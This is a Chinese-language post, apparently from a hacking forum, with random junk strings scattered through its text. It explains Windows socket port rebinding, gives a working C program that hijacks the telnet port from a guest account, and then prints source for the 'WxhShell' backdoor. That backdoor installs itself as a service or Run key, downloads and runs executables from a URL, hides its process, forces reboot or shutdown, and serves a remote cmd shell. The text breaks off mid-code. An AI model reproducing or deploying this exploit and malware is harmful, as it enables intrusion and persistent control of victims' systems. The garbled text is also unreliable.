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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >Q*Wi s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F'Z,]b'st3 \2z>?i) saddr.sin_family = AF_INET; )/P}?`I }m8q}~>tL saddr.sin_addr.s_addr = htonl(INADDR_ANY); uAk.@nfiEv ?7A>+EY bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a q-~B~c`g GvAb`c= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xz]~ jL@-] a'T;x`b8U, 这意味着什么?意味着可以进行如下的攻击: dr"1s-D4IQ Xa&kIq}(g 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /wv0i3_e
<3
uNl 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) '%;m?t%q Dp:BU|r 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vQ.R{!",> EM_d8o)`B 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 gM]:Ma d zMb5puH 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ry]l.@o; W*G<X.Hf 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QGz|*] ?]5qr?W% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OrW u?EN #include
:11
A #include r_d!ikOT( #include EX"yxZ~ #include ^rz_f{c]- DWORD WINAPI ClientThread(LPVOID lpParam); L},_.$I? int main() "
1tH { >mkFV@` WORD wVersionRequested; jWgX_//! DWORD ret; s#MPX3itK WSADATA wsaData; +|f@^- BOOL val; YYS0` SOCKADDR_IN saddr; O0:q;<>z SOCKADDR_IN scaddr; |BYRe1l6l int err; ykJ>*z SOCKET s; C,zohlpC SOCKET sc; 7$#u int caddsize; kf9X$d6 HANDLE mt; ; @X<lCk DWORD tid; +ai<
q>+ wVersionRequested = MAKEWORD( 2, 2 ); 8,|k ao: err = WSAStartup( wVersionRequested, &wsaData ); I 6O if ( err != 0 ) { bMBLXk printf("error!WSAStartup failed!\n"); d 'ifLQ\ return -1; YZ7.1`8 } z!\*Y
=e saddr.sin_family = AF_INET; r|Z{-*` /V By^ L: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "jCu6Rj d _dg\\c saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WzWXE( saddr.sin_port = htons(23); U!]dEW|G if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0"#HJA44 { .]Z"C&"N] printf("error!socket failed!\n"); T{'RV0%
return -1; Ca-j?bb! } /Kbl%u val = TRUE; {+Jv+J9 //SO_REUSEADDR选项就是可以实现端口重绑定的 Hp?/a?\Xm if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #E]59_
{ <N@Gu!N8 printf("error!setsockopt failed!\n"); f
mGc^d|= return -1; QL* IiFR } vSh`&w^* //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?ubro0F: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5-M-X#( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AwN!;t_0+N n !(F, b if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t<qiGDJ<d { Ca\6vR ret=GetLastError(); _cwpA#x`} printf("error!bind failed!\n"); %)n=x
ne return -1; lfg6646?S } WhDJ7{D listen(s,2); "#48% -'x while(1) \v/[6&|X0s { _f{{( 7 caddsize = sizeof(scaddr); j.YA2mr //接受连接请求 n`KY9[0U= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @pxcpXCy if(sc!=INVALID_SOCKET) _4f;<FL { aDCwI :Li( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v>56~AJ if(mt==NULL) 1eKT^bgM { "5
A!jq printf("Thread Creat Failed!\n"); r
:dTz break; /O9EQ Pm( } KmF]\:sMD } T;#FEzBz CloseHandle(mt); Wjc'*QCPl } e# bn# closesocket(s); {b{s<@? WSACleanup(); 54/=G(F return 0; y)*RV;^ } %3rP`A DWORD WINAPI ClientThread(LPVOID lpParam) -HuA
\0J { x"~JR\yzKJ SOCKET ss = (SOCKET)lpParam; wS*E(IAl SOCKET sc; Q.[0ct unsigned char buf[4096]; Mfs?x
a SOCKADDR_IN saddr; N;gfbh] long num; ;\]@K6m/Ap DWORD val; *`U~?q} DWORD ret; dRDnJc3 //如果是隐藏端口应用的话,可以在此处加一些判断 xkn;,`t^lJ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 v2?ZQeHr_( saddr.sin_family = AF_INET; h$*!8=M saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ls%MGs9PI saddr.sin_port = htons(23); T;uX4,|( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6nQq { +q oRP2 printf("error!socket failed!\n"); b]y2+A.n return -1; _g.{MTQ } f5r0\7y0 val = 100; Z}QB.$& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) % `3jL7| { xfQ1T)F3g ret = GetLastError(); fIF8%J ^3 return -1; 7 3m1 } f<H2-(m if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yjAL\U7`T { 7L??ae ret = GetLastError(); ]-q;4. return -1; #F#%`Rv1 } A's{j7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #S(Hd?34, { v1[29t<I! printf("error!socket connect failed!\n"); XRH!]! closesocket(sc); Uv.)?YeGh closesocket(ss); wbHb;] return -1; TNth } +0~YP*I`/ while(1) d5.4l&\u { pFXEu=$3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PdCEUh\>y //如果是嗅探内容的话,可以再此处进行内容分析和记录 9my^Y9B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yw!{MO num = recv(ss,buf,4096,0); ] @'!lhLi if(num>0) }}[2SH'nH send(sc,buf,num,0); 6-I'>\U~ else if(num==0) !?XC1xe~R break; +H.`MZ= num = recv(sc,buf,4096,0); FtZ?C@1/ if(num>0) >bxS3FCX send(ss,buf,num,0); -%~4W? else if(num==0) M{\I8oOg break; q@&6#B } J1vR5wbu closesocket(ss);
(=$x.1 closesocket(sc); R2; return 0 ; '7/)Ot( } y^k$Us _+,TT['57s gSgr6TH0 ========================================================== Gq6*SaTk TJN4k@\$2 下边附上一个代码,,WXhSHELL Si7*& dw= aYeR{Y] ========================================================== <[v[ci %RVZD#zr #include "stdafx.h" IcEdG( JVJMgim)0 #include <stdio.h> \lY_~*J #include <string.h> 4JEpl'5^Q #include <windows.h> /mHqurB #include <winsock2.h> }#J/fa9
! #include <winsvc.h> 5bIw?%dk( #include <urlmon.h> C+]I@Go'Tk -} +[ #pragma comment (lib, "Ws2_32.lib") ZG:{[sT #pragma comment (lib, "urlmon.lib") s.#`&Sd> z{6Z
11| #define MAX_USER 100 // 最大客户端连接数 l.]xB,k #define BUF_SOCK 200 // sock buffer h 0|s #define KEY_BUFF 255 // 输入 buffer L-Lvp%% >usL*b0% #define REBOOT 0 // 重启 =v\.h=~~ #define SHUTDOWN 1 // 关机 ':q p05t ,I9bNO,%JK #define DEF_PORT 5000 // 监听端口 BWNi [^] lFkR=!?= #define REG_LEN 16 // 注册表键长度 so;
]& #define SVC_LEN 80 // NT服务名长度 G5!^*jf \^LFkp // 从dll定义API <$YlH@;)`a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Lr+$_ t}r typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u?"Vm typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >ef6{URy< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6LZCgdS{ H+#FSdy# // wxhshell配置信息 *v`eUQ: struct WSCFG { &[9709 (= int ws_port; // 监听端口 /}$+uBgJm char ws_passstr[REG_LEN]; // 口令 LP-o8c int ws_autoins; // 安装标记, 1=yes 0=no TzZq(?V char ws_regname[REG_LEN]; // 注册表键名 b$7 +;I; char ws_svcname[REG_LEN]; // 服务名 IgzQr > char ws_svcdisp[SVC_LEN]; // 服务显示名 zqku e%^?- char ws_svcdesc[SVC_LEN]; // 服务描述信息 'R)Tn!6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KoRV%@I int ws_downexe; // 下载执行标记, 1=yes 0=no \*da6Am char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 0_/[k*Re char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y}
'@R$ l}h!B_P' }; JC"z&ka eE Kf|I // default Wxhshell configuration K:M8h{Ua struct WSCFG wscfg={DEF_PORT, =D(j)<9$A "xuhuanlingzhe", h(4v8ae 1, pYg/Zm
Jd "Wxhshell", h1RSVp+?n "Wxhshell", "4Nt\WQ "WxhShell Service", +_!QSU,@ "Wrsky Windows CmdShell Service", \wZe] G%S "Please Input Your Password: ", bD^owa 1, YUb_y^B^ " http://www.wrsky.com/wxhshell.exe", RCrCs "Wxhshell.exe" <aw[ XFg }; !Cs_F&l"j f<_Cq<q" // 消息定义模块 ]GS bjHsO char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A,]h),b char *msg_ws_prompt="\n\r? for help\n\r#>"; l{9Y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Wqnc{oq|$ char *msg_ws_ext="\n\rExit."; x;S @bY char *msg_ws_end="\n\rQuit."; PnTu char *msg_ws_boot="\n\rReboot..."; +q4O D$} char *msg_ws_poff="\n\rShutdown..."; [^)g%|W char *msg_ws_down="\n\rSave to "; OI*H,Z"
G*m0\ char *msg_ws_err="\n\rErr!"; dr(*T char *msg_ws_ok="\n\rOK!"; m 5.Zu. "%_+-C<L4 char ExeFile[MAX_PATH]; ]'cs. int nUser = 0; gR**@t=;j HANDLE handles[MAX_USER]; DXo|.!P=3 int OsIsNt; #E?4E1bnB %>yL1BeA4 SERVICE_STATUS serviceStatus; \+etCo
SERVICE_STATUS_HANDLE hServiceStatusHandle; #WuBL_nZ~ `uFdwO'DD // 函数声明 {ax:RUQxy int Install(void); #spCtZE int Uninstall(void); | Iib|HQ) int DownloadFile(char *sURL, SOCKET wsh); ^~dWU> int Boot(int flag); ]d]]'Hk void HideProc(void); dM5-; int GetOsVer(void); Q8NX)R int Wxhshell(SOCKET wsl); e(sk[guvX void TalkWithClient(void *cs); bOB\--:] int CmdShell(SOCKET sock); 7/H)Az@i45 int StartFromService(void); uH]OEz\H' int StartWxhshell(LPSTR lpCmdLine); _w{Qtj~s| !VJoM,b8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Wzh`or VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1x)J[fyId .8R@2c`}Cs // 数据结构和表定义 D-c4EV SERVICE_TABLE_ENTRY DispatchTable[] = 6<]lW {
2iOV/=+ {wscfg.ws_svcname, NTServiceMain}, Z r8*et {NULL, NULL} \G[$:nS }; -@s#uA
h 7r!x1 // 自我安装 M7T5
~/4 int Install(void) %4H%?4 { Sf'CN8 char svExeFile[MAX_PATH]; QY/w HKEY key; ZH8,KY" strcpy(svExeFile,ExeFile); ?}0 ,o. |N2#ItBbW // 如果是win9x系统,修改注册表设为自启动 >j/w@Fj if(!OsIsNt) { tYS06P^< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KHme&yMq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]`K2N RegCloseKey(key); vgPCQO([ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sT)CxOV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m@c)Xci RegCloseKey(key); rH-23S return 0; NOva'qk } /7kC< } p'%s=TGwv } WE?5ehEme else { 29KiuP fex@,I&
// 如果是NT以上系统,安装为系统服务 f8~_E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Tbq;h?D if (schSCManager!=0) <YY 14p { >Ry01G]_/h SC_HANDLE schService = CreateService *pq\MiD/ ( !zo{tI19 schSCManager, a9gLg
& wscfg.ws_svcname, CrLrw T wscfg.ws_svcdisp, 3S{/>1Y SERVICE_ALL_ACCESS, ";F'~}bDA SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C _Dn{ SERVICE_AUTO_START, ;+%rw 2Z,B SERVICE_ERROR_NORMAL, ;TYBx24vD' svExeFile, t0S1QC+ NULL, Cye.gsCT NULL, z_HdISy0 NULL, 3w=J'(RU NULL, Vksuu@cch NULL Hka2 ); L,\Iasv if (schService!=0) aUp
g u" { KoT\pY^7\ CloseServiceHandle(schService); g#bRT*,L CloseServiceHandle(schSCManager); ^W^OfY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @dKTx#gZ strcat(svExeFile,wscfg.ws_svcname); 7I}uZ/N if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y]>t[Lo% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eFgA 8kY) RegCloseKey(key); 7dWS return 0; ,bi^P>X } wMn
i } Tk}]Gev CloseServiceHandle(schSCManager); j%kncGS } HN"Z]/5j } M]^5 s;y F8=+j_UGI return 1; By|4m } .Mbz3;i0 ?< +WG/(d // 自我卸载 COlqcq'qAu int Uninstall(void) *@5 @,=d { 7#XzrT] HKEY key; as|<}:V qX%_uOw:% if(!OsIsNt) { 1zv'.uu., if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :;}P*T*PU RegDeleteValue(key,wscfg.ws_regname); ?}oFg#m-<L RegCloseKey(key); `?]k{ l1R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9{l}bu/u RegDeleteValue(key,wscfg.ws_regname); dPlV>IM$z RegCloseKey(key); T)/eeZ$ return 0; FPz9N@M%Q } o/E >f_k[ } Ui~>SN>s } 1}x%%RD_ else { [,Gg^*umS (QEG4&9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K+eM if (schSCManager!=0) [0!( xp^ { 01]f2.5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d{?LD?,) if (schService!=0) [txE .7p { j#|ZP-=1_ if(DeleteService(schService)!=0) { K;?+8(H CloseServiceHandle(schService); l?e.9o2- CloseServiceHandle(schSCManager); I7onX,U+ return 0; B,@i } z/-=%g >HA CloseServiceHandle(schService); d]9z@Pd } 2/?|&[ CloseServiceHandle(schSCManager); ch]IzdD } #a#F,ZT } KlEpzJ98 7CysfBF0g return 1; :WEDAFq0 } sJZiI}Xc >4TO=i // 从指定url下载文件 i-1op> Y int DownloadFile(char *sURL, SOCKET wsh) `5*}p#G { sHj/; HRESULT hr; 3o*YzwRt char seps[]= "/"; -).C char *token; )0`C@um char *file; hN_]6,<\ char myURL[MAX_PATH]; X|dlt{Gf
char myFILE[MAX_PATH]; yi[x}ffdE Rq -ZL{LR7 strcpy(myURL,sURL); -"x$ZnHU token=strtok(myURL,seps); ]Wup/o while(token!=NULL) W/N7vAx X { 5xiEPh file=token; ).O)p9 token=strtok(NULL,seps); KNl$3nX } inL(X;@yo "]*tLL:` GetCurrentDirectory(MAX_PATH,myFILE); 0-gAyiKx? strcat(myFILE, "\\"); @7}W=HB strcat(myFILE, file); >P(.:_^p send(wsh,myFILE,strlen(myFILE),0); Uo49*Mr send(wsh,"...",3,0); ?,/ }`3Vw hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
(3e2c if(hr==S_OK) kJU2C=m@e2 return 0; " bG2: else u8^lB7!e/ return 1; `[A];] *CMx- _ } +@UV?"d t20K!}D_ // 系统电源模块 TeQV?ZQ#} int Boot(int flag) xdPx{"C
3 { DU^loB+ HANDLE hToken; P?<y%c< TOKEN_PRIVILEGES tkp; , gHDx _1^'(5f$ if(OsIsNt) { crCJrN= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \8tsDG(1 ' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H,J8M{ tkp.PrivilegeCount = 1; l;U?Z'n tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tPvpJX6kP AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "@kaHIf[ if(flag==REBOOT) { 3`HV(5U[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hTkyz
la return 0; kfNWI#'9
} f1? >h\F8 else { WIOV2+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ICCc./l| return 0; M5B# TAybC } MD]>g> } [QTV9 else { ~[: 2I if(flag==REBOOT) { *Ex|9FCt$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1YA% -~ return 0; ;S{(]K7i } '-6~tWC~7 else { U*:!W=XN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g0H[*"hj return 0; 'qi}|I } P>L +t`' } 58K5ZZG RSds8\tk return 1;
)jj0^f1!j } J,G
lIv.A QJNFA}*> // win9x进程隐藏模块 }G=M2V<L void HideProc(void) X]=t> { ;<5q]/IHK R]dg_Da HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d-m7}2c if ( hKernel != NULL ) l:%GH { ]_Xlq_[/r pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +p^u^a ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _@g;8CA FreeLibrary(hKernel); tkhCw/ } !wNO8;( l2d{ 73h return; ToQ"Iy? } u-TUuP wzaV;ac4K // 获取操作系统版本 ,Q,^3*HX9} int GetOsVer(void) Q?T]MUY(L { VpUAeWb OSVERSIONINFO winfo; &zhAh1m winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .543N<w GetVersionEx(&winfo); !BI;C(,RL if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #g=XUZ/" return 1; V]N?6\Op else |o@%dH return 0; *VeRVaBl } ]k(]qZ d3Rw!slIq // 客户端句柄模块 ^.G$Q# y, int Wxhshell(SOCKET wsl) Je@v8{][| { ;=@0'xPEa- SOCKET wsh; -8Xf0_ struct sockaddr_in client; +#By*;BJ DWORD myID; vy/-wP|1 ]9XDS[<2` while(nUser<MAX_USER) SaCh
7 ^ { :EH=_" int nSize=sizeof(client); /bEAK- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G:JR7N$ if(wsh==INVALID_SOCKET) return 1; k8Xm n6X 1cGmg1U; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :LTN!jj if(handles[nUser]==0) nm+s{ closesocket(wsh); G`zm@QL else ]?)TdJ` nUser++; <Qq*p } C>~TI,5a3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /> Nt[o[r xpI wrJO return 0; P$sxr } ^(<f/C)i @KA4N` // 关闭 socket V:27)]q void CloseIt(SOCKET wsh) S$k&vc(0 { +{>=^9%X closesocket(wsh); $|@ r!/W nUser--; PX99uWx5] ExitThread(0); qNr}
\J| } {U1m.30n XM}hUJJW // 客户端请求句柄 Q^I\cAIB void TalkWithClient(void *cs) to\Ni~a& { CJ%I51F`X
9akH SOCKET wsh=(SOCKET)cs; x :7IIvP char pwd[SVC_LEN]; {|\.i char cmd[KEY_BUFF]; _wOt39e& char chr[1]; iOdpM{~* int i,j; fQ98(+6 +O5hH8<&b while (nUser < MAX_USER) { V+~Nalm O Nluoqoac if(wscfg.ws_passstr) { *qMY22X if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zT[!o
j7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PzGWff!*n //ZeroMemory(pwd,KEY_BUFF); [:V$y1 i=0; %UM
*79 while(i<SVC_LEN) { 8X0z~& 2-b6gc7 // 设置超时 c)tfAD(N8x fd_set FdRead; \Roz$t-R|f struct timeval TimeOut; x`?3C"N:< FD_ZERO(&FdRead); 4fzZ;2sl} FD_SET(wsh,&FdRead); akT6^cP^ TimeOut.tv_sec=8; c(%|: P^ TimeOut.tv_usec=0; oE~Bq/p int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i?~3*#IpD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z] Ue|%K 2"5v[,$1H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4X$Qu6#i pwd =chr[0]; -^57oU if(chr[0]==0xd || chr[0]==0xa) { qw8Rlws% pwd=0;
BB'OCN break; M[uA@ } 6&-(&(_ i++; G9:l'\ } @A5?3(e T^v}mWCZ // 如果是非法用户,关闭 socket >*n0n!vF if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1QJL . } BUR*n;V` QIgNsz send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]fD}
^s3G send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8*fv' HKr
Mim- while(1) { :c[L3rJl %[yJ4WL ZeroMemory(cmd,KEY_BUFF); 9mFE?J 63A.@mL // 自动支持客户端 telnet标准 X$pJ
:M{F$ j=0; 7=DdrG< while(j<KEY_BUFF) { 2Gdd*=4z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n}V_,:Z cmd[j]=chr[0]; `KQvJjA6 if(chr[0]==0xa || chr[0]==0xd) { &I406Z f7y cmd[j]=0; ;'Nd~:-] break; QwJyY{O` } Ow077v? j++; ukY"+& } S+2(f> Z h*Pc=/p // 下载文件 F:l%O#V if(strstr(cmd,"http://")) { uH-)y,2& send(wsh,msg_ws_down,strlen(msg_ws_down),0); BCcjK6' if(DownloadFile(cmd,wsh)) e!r-+.i( send(wsh,msg_ws_err,strlen(msg_ws_err),0); AvHCO8h| else @gtQQxf" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pBPl6%C.X- } !3v1bGk else { l0hlM# _7)n(1h[3b switch(cmd[0]) { ->{KVPHe{ +H2-ZXr // 帮助 3Le{\}-$. case '?': { XGMiW0j0B send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B~du-Z22IZ break; %!L9)(}" } Ib0ZjX6 // 安装 nJLFfXWx case 'i': { 8Bg;Kh6B if(Install()) \r>6`-cs] send(wsh,msg_ws_err,strlen(msg_ws_err),0); k: ;WtBC6j else jZ3fKyp# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ip]KPrwp break; (%:c#;# } 9<)NvU^-r // 卸载 (Clkv case 'r': { 4 N7^? if(Uninstall()) eNu7~3k} send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jdp3nzM^^@ else :Xd<74Nu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :U(A;U1, break; ;]jNk'oa } %9RF // 显示 wxhshell 所在路径 !#"zTj case 'p': { K!]/(V(} char svExeFile[MAX_PATH]; *r% c strcpy(svExeFile,"\n\r");
6B
?twh) strcat(svExeFile,ExeFile); ivz5H(b send(wsh,svExeFile,strlen(svExeFile),0); -[DOe?T break; "v4B5:bmqW } 5Zva: // 重启 .eP.& case 'b': { g|Fn7]G send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dl8;$~ if(Boot(REBOOT)) M {Q;: send(wsh,msg_ws_err,strlen(msg_ws_err),0); wIBO
^w\J else { U!Z,xx[] closesocket(wsh); A$xF$l ExitThread(0); (/*]?Ehd } lo!+f"7ym\ break; dmN&+t } g2/8~cn8z // 关机 {T
Ug.%u case 'd': { t3Y:}%M send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }I6vqG if(Boot(SHUTDOWN)) R n*L send(wsh,msg_ws_err,strlen(msg_ws_err),0); }XM(:|8J, else { x7x\Y(@ closesocket(wsh); 'anG:= ExitThread(0); lR6x3C
H@ } az|N-?u break; Oh\<VvZuN } g^ i&gNDx // 获取shell ;
p {[1 case 's': { _W'-+, CmdShell(wsh); ?_"ik[w} closesocket(wsh); *%t^;&x? ExitThread(0); 3K/MvNI> break; 1s@+;QUib } "{Eta // 退出 \<6CZ case 'x': { ~PahoRS send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A^EE32kbm CloseIt(wsh); SrK<fAkx break; ye? 'Ze } 9
ea\vZ // 离开 ~B(4qK1G case 'q': { f_Av3 send(wsh,msg_ws_end,strlen(msg_ws_end),0); X=8{$: closesocket(wsh); M b1sF WSACleanup(); WPG(@zD exit(1); M*HnM( break; f\>M'{cV } )$bS}. } do+.aOC } kO*$"w#X[p TLe~y1dwY= // 提示信息 T+k{W6 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g5QZ0Qkj } x&T [*i } WoRZW% N;j)k; return; Yv!a88+A8M } E6gI,f/p0X ]Y8<`;8/ // shell模块句柄 W+X6@/BO int CmdShell(SOCKET sock) t9:0TBt-[ { V2|aN<Sx< STARTUPINFO si; [ $n_6 ZeroMemory(&si,sizeof(si)); <r`2)[7N si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zY!j:FT1HY si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7 uKY24 PROCESS_INFORMATION ProcessInfo; `o8/(`a char cmdline[]="cmd"; '>ssqBnI CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M|`U"vO return 0; [ )dXI IM } JU5C}%Q6 b4ONh% // 自身启动模式 A_5P/ARmI int StartFromService(void) 0h\smqm { -Z
Ugx$ typedef struct .KUv(- { Z%/=|[9i DWORD ExitStatus; }YNR"X9*)/ DWORD PebBaseAddress; NI
[
pp` DWORD AffinityMask; zvH8^1yzG DWORD BasePriority; :Ab%g- ULONG UniqueProcessId; T7u%^xm ULONG InheritedFromUniqueProcessId; 04l!:Tp, } PROCESS_BASIC_INFORMATION; *P2S6z2 ],a 5)kV PROCNTQSIP NtQueryInformationProcess; TS9|a{j3! Yqi4&~?db static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &3Szje static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nd1+"-,q cH?B[S;] HANDLE hProcess; 5ZK@`jkE PROCESS_BASIC_INFORMATION pbi; c~uKsU Vq?p|wy HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,+xB$e if(NULL == hInst ) return 0; c>RFdc:U q):5JXql~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9-DZU,`P g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A.F738Zp{Z NtQueryInformationProcess = 